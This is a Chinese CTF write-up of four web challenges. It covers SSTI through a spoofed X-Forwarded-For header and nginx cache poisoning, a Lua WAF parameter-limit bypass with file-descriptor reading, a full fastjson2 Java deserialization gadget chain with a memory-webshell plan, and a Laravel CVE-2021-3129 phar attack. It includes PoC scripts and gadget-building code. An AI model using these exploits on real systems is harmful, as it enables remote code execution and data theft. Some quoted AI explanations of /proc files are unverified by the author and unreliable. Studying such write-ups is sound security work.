best_profile 题目给的附件nginx.conf
这个nginx配置文件的大致意思是nginx开在80端口,会把请求转发给5000端口,gif|jpg|jpeg|png|bmp|swf这类文件会缓存30天,js|css缓存12小时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 worker_processes 1; events { use epoll; worker_connections 10240; } http { include mime.types; default_type text/html; access_log off; error_log /dev/null; sendfile on; keepalive_timeout 65; proxy_cache_path /cache levels=1:2 keys_zone=static:20m inactive=24h max_size=100m; server { listen 80 default_server; location / { proxy_pass http://127.0.0.1:5000; } location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { proxy_ignore_headers Cache-Control Expires Vary Set-Cookie; proxy_pass http://127.0.0.1:5000; proxy_cache static; proxy_cache_valid 200 302 30d; } location ~ .*\.(js|css)?$ { proxy_ignore_headers Cache-Control Expires Vary Set-Cookie; proxy_pass http://127.0.0.1:5000; proxy_cache static; proxy_cache_valid 200 302 12h; } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 import osimport reimport randomimport stringimport requestsfrom flask import ( Flask, render_template, request, redirect, url_for, render_template_string, ) from flask_sqlalchemy import SQLAlchemyfrom flask_login import ( LoginManager, UserMixin, login_user, login_required, logout_user, current_user, ) from sqlalchemy.orm import DeclarativeBasefrom sqlalchemy.orm import Mapped, mapped_columnfrom werkzeug.security import generate_password_hash, check_password_hashfrom werkzeug.middleware.proxy_fix import ProxyFiximport geoip2.databaseclass Base (DeclarativeBase ): pass db = SQLAlchemy(model_class=Base) class User (db.Model, UserMixin): id : Mapped[int ] = mapped_column(primary_key=True ) username: Mapped[str ] = mapped_column(unique=True ) password: Mapped[str ] = mapped_column() bio: Mapped[str ] = mapped_column() last_ip: Mapped[str ] = mapped_column(nullable=True ) def set_password (self, password ): self .password = generate_password_hash(password) def check_password (self, password ): return check_password_hash(self .password, password) def __repr__ (self ): return "<User %r>" % self .name app = Flask(__name__) app.config["SQLALCHEMY_DATABASE_URI" ] = "sqlite:///data.db" app.config["SECRET_KEY" ] = os.urandom(24 ) app.wsgi_app = ProxyFix(app.wsgi_app) db.init_app(app) with app.app_context(): db.create_all() login_manager = LoginManager(app) def gen_random_string (length=20 ): return "" .join(random.choices(string.ascii_letters, k=length)) @login_manager.user_loader def load_user (user_id ): user = User.query.get(int (user_id)) return user @app.route("/login" , methods=["GET" , "POST" ] ) def route_login (): if request.method == "POST" : username = request.form["username" ] password = request.form["password" ] if not username or not password: return "Invalid username or password." user = User.query.filter_by(username=username).first() if user and user.check_password(password): login_user(user) return redirect(url_for("route_profile" , username=user.username)) else : return "Invalid username or password." return render_template("login.html" ) @app.route("/logout" ) @login_required def route_logout (): logout_user() return redirect(url_for("index" )) @app.route("/register" , methods=["GET" , "POST" ] ) def route_register (): if request.method == "POST" : username = request.form["username" ] password = request.form["password" ] bio = request.form["bio" ] if not username or not password: return "Invalid username or password." user = User.query.filter_by(username=username).first() if user: return "Username already exists." user = User(username=username, bio=bio) user.set_password(password) db.session.add(user) db.session.commit() return redirect(url_for("route_login" )) return render_template("register.html" ) @app.route("/<string:username>" ) def route_profile (username ): user = User.query.filter_by(username=username).first() return render_template("profile.html" , user=user) @app.route("/get_last_ip/<string:username>" , methods=["GET" , "POST" ] ) def route_check_ip (username ): if not current_user.is_authenticated: return "You need to login first." user = User.query.filter_by(username=username).first() if not user: return "User not found." return render_template("last_ip.html" , last_ip=user.last_ip) geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb" ) @app.route("/ip_detail/<string:username>" , methods=["GET" ] ) def route_ip_detail (username ): res = requests.get(f"http://127.0.0.1/get_last_ip/{username} " ) if res.status_code != 200 : return "Get last ip failed." last_ip = res.text try : ip = re.findall(r"\d+\.\d+\.\d+\.\d+" , last_ip) country = geoip2_reader.country(ip) except (ValueError, TypeError): country = "Unknown" template = f""" <h1>IP Detail</h1> <div>{last_ip} </div> <p>Country:{country} </p> """ return render_template_string(template) @app.route("/" ) def index (): return render_template("index.html" ) @app.after_request def set_last_ip (response ): if current_user.is_authenticated: current_user.last_ip = request.remote_addr db.session.commit() return response if __name__ == "__main__" : app.run()
/ip_detail/<string:username>路由中有个sstil
由@app.after_request部分可以得知,发完请求后last_ip会自动更新,因为login后会自动跳转至/<String:Username>,此时last_ip就会刷新,所以我们要带着恶意X-Forwarded-For访问<String:Username>,这样last_ip就是我们自己可控的了
但是在浏览器中访问时会自动去访问/favicon,这样就会导致ip不可控,所以要写python脚本去发。
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsnumber = 22 url1 = "http://127.0.0.1:2121/register" url2 = "http://127.0.0.1:2121/login" url3 = f"http://127.0.0.1:2121/{number} .js" url4 = f"http://127.0.0.1:2121/get_last_ip/{number} .js" url5 = f"http://127.0.0.1:2121/ip_detail/{number} .js" req1 = requests.post(url1,headers={"Content-Type" :"application/x-www-form-urlencoded" },data=f"username={number} .js&password={number} &bio={number} &submit=Sign+Up" ) req2 = requests.post(url2,headers={"Content-Type" :"application/x-www-form-urlencoded" },data=f"username={number} .js&password={number} &submit=Log+In" ,allow_redirects=False ) print (req2.status_code)session_cookie = req2.headers.get("Set-Cookie" ) print (session_cookie)payload = "{{2+2}}" req3 = requests.get(url3,headers={"Cookie" :session_cookie,"X-Forwarded-For" :payload}) req4 = requests.get(url4,headers={"Cookie" :session_cookie}) print (req4.text)req5 = requests.get(url5,headers={"Cookie" :session_cookie}) print (req5.text)
但是用普通的用户名会返回you need to login ,我猜测是因为/ip_detail路由访问get_last_ip没有带cookie
但nginx配置文件中写到会将js,css后缀文件缓存12h,png缓存30d,所以可以把用户名改成以js,css,png这些结尾,这样ip_detail访问get_last_ip就会从缓存里面去读取之前我们访问过的/get_last_ip/1.js返回的响应,这样就不会经过后端也就不会返回you need to login first
但后端和我的浏览器明明是两个客户端,nginx会把我访问返回的response直接返回给后端吗?
ai告诉我默认情况下nginx的缓存是全局缓存,不是针对某个客户端的私有缓存,也就是说:
只要路径一样、请求条件匹配,nginx 就可能将之前某个客户端访问产生的响应,直接返回给下一个客户端——包括 Flask 后端的 requests.get()
写个转接头爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @app.route("/dashing" ) def dashing (): bug = request.args.get("bug" ) global number number += 1 print (number) url1 = "http://127.0.0.1:2121/register" url2 = "http://127.0.0.1:2121/login" url3 = f"http://127.0.0.1:2121/{number} .png" url4 = f"http://127.0.0.1:2121/get_last_ip/{number} .png" url5 = f"http://127.0.0.1:2121/ip_detail/{number} .png" req1 = requests.post(url1, headers={"Content-Type" : "application/x-www-form-urlencoded" }, data=f"username={number} .png&password={number} &bio={number} &submit=Sign+Up" ) req2 = requests.post(url2, headers={"Content-Type" : "application/x-www-form-urlencoded" }, data=f"username={number} .png&password={number} &submit=Log+In" , allow_redirects=False ) session_cookie = req2.headers.get("Set-Cookie" ) req3 = requests.get(url3, headers={"Cookie" : session_cookie, "X-Forwarded-For" : bug}) req4 = requests.get(url4, headers={"Cookie" : session_cookie}) req5 = requests.get(url5, headers={"Cookie" : session_cookie}) print (req5.text) if req5.status_code != 200 : return Response("fail" ,500 ) else : return req5.text
gateway_advance nginx.config
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 worker_processes 1; events { use epoll; worker_connections 10240; } http { include mime.types; default_type text/html; access_log off; error_log /dev/null; sendfile on; init_by_lua_block { f = io.open("/flag", "r") f2 = io.open("/password", "r") flag = f:read("*all") password = f2:read("*all") f:close() password = string.gsub(password, "[\n\r]", "") os.remove("/flag") os.remove("/password") } server { listen 80 default_server; location / { content_by_lua_block { ngx.say("hello, world!") } } location /static { alias /www/; access_by_lua_block { if ngx.var.remote_addr ~= "127.0.0.1" then ngx.exit(403) end } add_header Accept-Ranges bytes; } location /download { access_by_lua_block { local blacklist = {"%.", "/", ";", "flag", "proc"} local args = ngx.req.get_uri_args() for k, v in pairs(args) do for _, b in ipairs(blacklist) do if string.find(v, b) then ngx.exit(403) end end end } add_header Content-Disposition "attachment; filename=download.txt"; proxy_pass http://127.0.0.1/static$arg_filename; body_filter_by_lua_block { local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"} for _, b in ipairs(blacklist) do if string.find(ngx.arg[1], b) then ngx.arg[1] = string.rep("*", string.len(ngx.arg[1])) end end } } location /read_anywhere { access_by_lua_block { if ngx.var.http_x_gateway_password ~= password then ngx.say("go find the password first!") ngx.exit(403) end } content_by_lua_block { local f = io.open(ngx.var.http_x_gateway_filename, "r") if not f then ngx.exit(404) end local start = tonumber(ngx.var.http_x_gateway_start) or 0 local length = tonumber(ngx.var.http_x_gateway_length) or 1024 if length > 1024 * 1024 then length = 1024 * 1024 end f:seek("set", start) local content = f:read(length) f:close() ngx.say(content) ngx.header["Content-Type"] = "application/octet-stream" } } } }
在配置文件中可以看到flag对应的文件描述符f关闭了(f.close),但是password的没有关闭。
在本地试了一下
发现fd6就是f2对应的文件描述符
又因为lua有个洞,第100个后的参数都会被抛弃【技术分享】Nginx Lua WAF通用绕过方法 - SecPulse.COM | 安全脉搏
conf使用的ngx.req.get_uri_args()也受这个漏洞影响,所以第101个参数不会进行黑名单校验
因为读取的文件的内容也有waf,所以采用分块读取
拿到password了可以去读内存映射找到delete了的文件
下面这段话是ai说的,我不知道对不对
虚拟文件是在 Linux 系统中 存在于 /proc、/sys 等伪文件系统中的文件 ,它们不占用磁盘空间、没有真实物理文件,只是在内存中按需生成内容 ,比如:
虚拟文件路径
作用
/proc/self/fd/*
文件描述符的符号链接
/proc/self/maps
显示当前进程内存映射(即进程中各段的地址)
/proc/self/mem
显示当前进程的内存内容(可读写)
/proc/cpuinfo
虚拟展示 CPU 信息
/proc/self/environ
进程的环境变量
/proc/self/mem 是一个特殊的只允许当前进程按映射范围读取的伪设备文件 ,无法通过 open()+read() 普通方式读取 ;
/proc/self/fd/6 则是一个符号链接 ,指向文件描述符编号为 6 所对应的实际文件,如果这个文件描述符指向的是一个真实存在的文件(哪怕已删除)且权限允许,就能正常读取 ;
虚拟文件 /proc/self/mem 这样的文件有个特点:
调用 stat() 得到的文件大小为 0;
对这些文件进行 read() 时,必须指定 准确的 offset 和长度 ;
否则会返回空内容,或触发错误(比如非法读取区域);
有些服务在读取文件前会根据 os.stat(filename).st_size 来判断大小,如果是 0 就直接不读了。
所以: 很多“普通文件读取”逻辑对 /proc/self/mem 这种需要特殊 offset 的文件无效。
所以/download路由只能读/proc/self/fd但不能读/proc/self/mem
Tellmewhy
要进入这个路由首先要过一个filter
要你请求的host不是127.0.0.1但经过dns解析要为127.0.0.1
感觉这不是入口点,因为host改变的话就访问不了目标主机了
入口点
这里有个注入,payload:name=,偶然发现ctx.realIp()取的是host值,ctx.realIp()).getHostAddress()取的是x-real-ip的值(本地可以,远程行不行尚未可知,找完链子再说)
通过这个就可以进行访问内网ip了,成功调试进
复现 当时做题时就卡在怎么让map.length和jsonobject.length不一致。
map是solon框架解析到的,jsonobject是由fastjson2解析的(因为JSONObject jsonobject = new JSONObject(ctx.body()))
solon解析不能解析到@type,但是fastjson可以,这里也可以成功绕过了。
接下来就是找链子
自定义的反序列化器ban了
1 2 3 javax.management.BadAttributeValueExpException javax.swing.event.EventListenerList UIDefaults$TextAndMnemonicHashMap
fastjson的JSONObject和JSONArray的toString方法会调用getter,这个黑名单ban的就是HashMap->JSONObject#toString这条链子,因为这道题的fastjson2版本很高,按理说EventListenerList那条链子是不能到最终的getter的。
fastjson1<=1.2.48,fastjson2<=2.0.26在低版本中的利用FastJson与原生反序列化
fastjson1高版本绕过<=1.2.83FastJson与原生反序列化(二)
fastjson2高版本绕过高版本Fastjson在Java原生反序列化中的利用
wp说tabby跑一下可以发现有条Xstring的链子,但是我发现我的ql数据库里面没有ObjectInputStream,TemplatesImpl这些类,问了ai知道不是所有jdk的类都会弄进数据库里面的,很多就算弄进去了方法这些也是不全的,一般ctf给的jar包打成数据库都不会包含jdk的所有类。因为是jdk8,有tr.jar,直接把rt.jar加进项目的lib中再生成一次数据库。但我怎么打jar包lib都打不进去.能不能来个codeql大神救我一手啊我草
算了不用codeql了。参考su的wp
Xstring#equals可以触发其方法参数的toString
所以可以用两个HashMap分别包裹Xstring实例和JSONObject实例,
第一次是HashMap#readObject调用putVal,对两个HashMap进行equals
因为HashMap没有equals,调用其父类AbstractMap#equals
两个HashMap的value进行equals,只要第一个map的value为Xstring,第二个的value为JSONObject就能成功从HashMap#readObject->JSONObject#toString
在低版本的fastjson2中,JSONObject#toString可以调用其某个属性所对应对象的属性的getter,但是高版本fastjson2定义了黑名单,不允许调用特定类的getter.其中就包括了TemplatesImpl.要想绕过,就需要用到动态代理。具体的可以看上文引用了的fastjson2高版本绕过。
题目直接给出了自定义的代理类
利用这个代理类代理Template接口(getoutputpropertire是这个接口的方法)就可以成功绕过。
su的wp(xxxNode.makeGadget()就是返回xxx类型的类的意思)(JSONObject和JSONArray都是实现了InvocationHandler接口的)
最后嵌套代理:node4是一个JSONArray,node3是MyProxy,node2是JSONObject,node1是TemplateImpl
1 2 Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class []{Templates.class}, (InvocationHandler) node3);
node4构造函数参数为proxy2,proxy2实现了Templates,所以node4调用proxy2时会调用getoutputproperties(),又因为node3#myobject=proxy1,所以JSONArray#toString->proxy2#getoutputproperties->node3#invoke
1 2 Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class []{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2);
所以node3#invoke->proxy1#getObject->node2#invoke(JSONObject#invoke会去其map中查找键名为调用方法所对应字段名,然后return,例如proxy1调用了getObject,JSONObject#invoke查找map中存不存在键名为object的键,map就是传给jsonobject的参数在这里为Node1,若存在就返回。所以成功返回TemplateImpl实例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import com.sun.org.apache.xpath.internal.objects.XString;import common.Reflections;import common.Util;import gadgets.*;import org.example.demo.Utils.MyObject;import javax.naming.spi.ObjectFactory;import javax.xml.transform.Templates;import java.lang.reflect.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Fastjson4_ObjectFactoryDelegatingInvocationHandler { public Object getObject (String cmd) throws Exception { Object node1 = TemplatesImplNode.makeGadget(cmd); Map map = new HashMap (); map.put("object" , node1); Object node2 = JSONObjectNode.makeGadget(2 , map); Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class []{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2); Object node3 = makeGadget(proxy1); Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class []{Templates.class}, (InvocationHandler) node3); Object node4 = JsonArrayNode.makeGadget(2 , proxy2); Map gadgetChain = makeXStringToStringTrigger(node4); Object[] array = new Object []{node1, gadgetChain}; Object node6 = HashMapNode.makeGadget(array); return node6; } public static Map makeXStringToStringTrigger (Object o) throws Exception { XString x = new XString ("\n" ); return makeMap(o, x); } public static Map makeMap (Object v1, Object v2) throws Exception { Map map1 = new HashMap (); map1.put("yy" , v1); map1.put("zZ" , v2); Map map2 = new HashMap (); map2.put("yy" , v2); map2.put("zZ" , v1); HashMap s = new HashMap (); setFieldValue(s, "size" , 2 ); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , map1, map1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , map2, map2, null )); Reflections.setFieldValue(s, "table" , tbl); return s; } private static void setFieldValue (Object obj, String field, Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, value); } public static void main (String[] args) throws Exception { Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler ().getObject(Util.getDefaultTestCmd()); byte [] serialize = Util.serialize(object); String s = Base64.getEncoder().encodeToString(serialize); System.out.println(s); System.out.println(s.length()); } public static Object makeGadget (Object gadget) throws Exception { return Reflections.newInstance("org.example.demo.Utils.MyProxy" , MyObject.class, gadget); } }
远程不出网,需要找一个solon内存马https://github.com/wuwumonster/note/blob/3463f12984aa347292d508e4fb1d4d9a7f2b0bc5/JavaSec/JavaSec/%E5%86%85%E5%AD%98%E9%A9%AC/Solon%20%E5%86%85%E5%AD%98%E9%A9%AC.md?plain=1#L84
最后把内存马放进template即可
还有一种用SignObject进行二次反序列化的方法。
gogogo出发喽 Laravel框架存在漏洞,开启了Debug模式时其lgnition组件会调用file_get_content和file_put_content这是CVE-2021-3129
Laravel DEBUG模式 反序列化远程代码执行 POP链 - zpchcbd - 博客园
还有一个上传base64后的图片的接口。利用这个接口上传phar,因为只要你用Phar://去读一个文件,并且这个文件的astub部分为a stub是一个文件标志,格式为 :xxx就能成功被解析为phar文件。
将Laravel框架存在的漏洞放进phar文件中metadata部分。
对着触发lgnition组件的api发个包
但是有一点的file_get_content读取phar文件后不一定会立刻反序列化,所以当调用到file_put_content时就会报错,所以要用
fast destructPHP 反序列化基础完全解析-先知社区